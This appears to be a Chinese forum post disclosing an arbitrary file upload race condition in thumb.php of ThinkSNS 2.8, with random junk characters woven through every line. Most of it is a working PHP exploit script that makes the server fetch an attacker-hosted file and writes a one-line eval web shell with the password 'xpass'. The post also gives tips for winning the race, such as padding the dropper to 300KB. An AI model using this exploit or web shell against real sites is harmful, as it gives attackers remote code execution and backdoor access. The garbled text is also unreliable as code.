漏洞版本; m7 P+ c3 K3 \ m" @/ J2 S( a, F
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
! u" R8 S" |" \& w2 V) L漏洞文件
2 M' K6 q, `8 V% U. Y9 `存在漏洞的文件为:thumb.php! h+ {1 H$ A; j- M+ q) G& o$ S9 P; ^
作者:韦鲲鹏
0 ]( ~. B8 V9 g0 C" z) ]1、 准备如下PHP文件并上传到服务器(自己的)。
8 v' ]# q8 f3 n' W; a" ]6 B文件内容如下:
: H3 l5 e; P2 a( v<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
5 R; t9 J8 v L. u9 h# t2、 计算出临时的文件名:6 y- S4 @% t" y( b2 W
这里我们可以看文件的99行(刚刚是不是没注意呀!)。1 w' \9 x+ G4 Q0 S% V0 V* ]
/ f# g& s* O& w3 q8 r
3、 上传临时文件。$ j& [5 I" M- x3 [2 p' Q5 P
4、 访问临时文件。" M$ b3 I7 w3 z, z6 ]8 _. F
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
' u) j/ ?7 n: p# i. \2 [! q6 U) aExploit文件内容如下:(这个我就不详细解释了)
7 v6 I9 s j5 X9 x9 i9 `4 M: u<?php
/ X, K5 U+ |" L' C. yerror_reporting(0);# e% Q5 C. c+ f
set_time_limit(0);
! w1 v, n( Q3 V8 i) R8 S( ~7 ^ini_set(“default_socket_timeout”, 5);. ]- g! A# D9 f; R+ l6 T5 k
function http_send($host, $port, $headers) {
1 t J5 q6 H/ l+ b6 d" a/ w! O! Z" u$fp = fsockopen($host, $port);
: }" x. S. t2 j3 S. q1 jif (!$fp) die(‘Connection -> fail’);, f2 w' ~5 R) X; P+ }
fputs($fp, $headers);: u; ^% O1 F9 D, J4 y/ o
return $fp;! W& {9 S/ y: e3 I' H4 b
}6 S' Y! [3 L& z4 q5 ~9 X* D
function http_recv($fp) {
' ~, S) K; q9 K* b$ret=”";7 H- \! v2 N1 B5 z* s; N7 N
while (!feof($fp))
2 L, r& [8 V7 z9 D8 b$ret.= fgets($fp, 1024);
+ A6 N2 y- N9 P. F4 afclose($fp);
" B+ A* y8 I' G8 zreturn $ret;
9 p6 K$ V2 \/ K}. f Q5 B9 X" Q! Q" S2 e6 P5 j
print “\n# ThinkSns Arbitrary File Upload #\n”;
0 t" W% l' U2 J) R" f2 J4 Cprint “# Discovered by 韦鲲鹏 #\n\n”;- E- z) S2 v, h5 L4 y0 x+ ?
if ($argc < 4) {
4 Y: y* D1 s% ~" Y% c- }* @print “Usage: php <host> <path> <romote_url>\n”;. O( ^$ P, v- a' P
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;2 x0 a# t4 ~% w$ M
die();4 u) L6 D$ P$ S" ^. t; b, H
}, \7 H4 q0 y, t5 C4 B _
$host = $argv[1];
: Q5 v; V# ~0 n0 K7 W$path = $argv[2]; @# n) x& L4 v, X5 [. [9 H
$url = $argv[3];
% W3 V6 C: L' q$ m$i=0;
4 V4 {; b& c. V. ?5 k+ R% y//上传数据包
3 O- y9 l5 p( u2 J$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
- w+ N! Q0 v2 x6 `- t$headers_up .= “Host: “.$host.”\r\n”;
& c7 b+ J- X: j% W; X. ]& E% X$headers_up .= “Connection: close\r\n\r\n”;
- F' K) C% _! B4 P/ Decho $headers_up;
! m$ j4 e* J! f) [//临时文件访问数据包/ H7 }% M, O6 h/ X1 |2 d
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;" J% E! } P1 E
$headers .= “Host: “.$host.”\r\n”;
7 y& l. Y" X) S. ^5 l- a$headers .= “Connection: close\r\n\r\n”;
; W. O: w$ E/ S/ [- Z) gecho $headers;1 W" W+ ]5 D3 W. L( F$ M: G
while(++$i<10) {( P% i& y/ g9 K
fclose(http_send($host, 80, $headers)); p% G" q/ ^( G
}
) J' p3 g: T; q& V/ O; K( w$ V* \' Afclose(http_send($host, 80, $headers_up));
@+ |& x9 E! p5 n- o; p% dwhile(++$i<50) {# c3 \! m, |2 u3 J* D* ?/ ?$ l
fclose(http_send($host, 80, $headers));& c* S4 G1 S$ G& B7 g
}
i% W4 i' U$ E: `* G7 {$ u$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
( S( E0 b# }( x* ?$ z+ K$headers .= “Host: “.$host.”\r\n”;2 _( ~8 ?% [4 A6 I/ f; q8 T
$headers .= “Connection: close\r\n\r\n”;! g% N3 e o' P6 u" B Q% z' @ j
$res=http_recv(http_send($host, 80, $headers));% _1 Y) _1 D# m
if(preg_match(‘/200 OK/’,$res)) {; a! o6 G0 }9 F6 F, ]2 j y& N
print “Success!\n\n”;7 {+ A# L8 M4 j
} else {* n3 l: S4 T% Q( w& E: K- U
print “Fail!\n\n”;) V7 T2 t( S6 ~) P+ ^# B7 W
}
1 {5 j$ o; c$ J?>
0 B6 @' f6 H( U, q |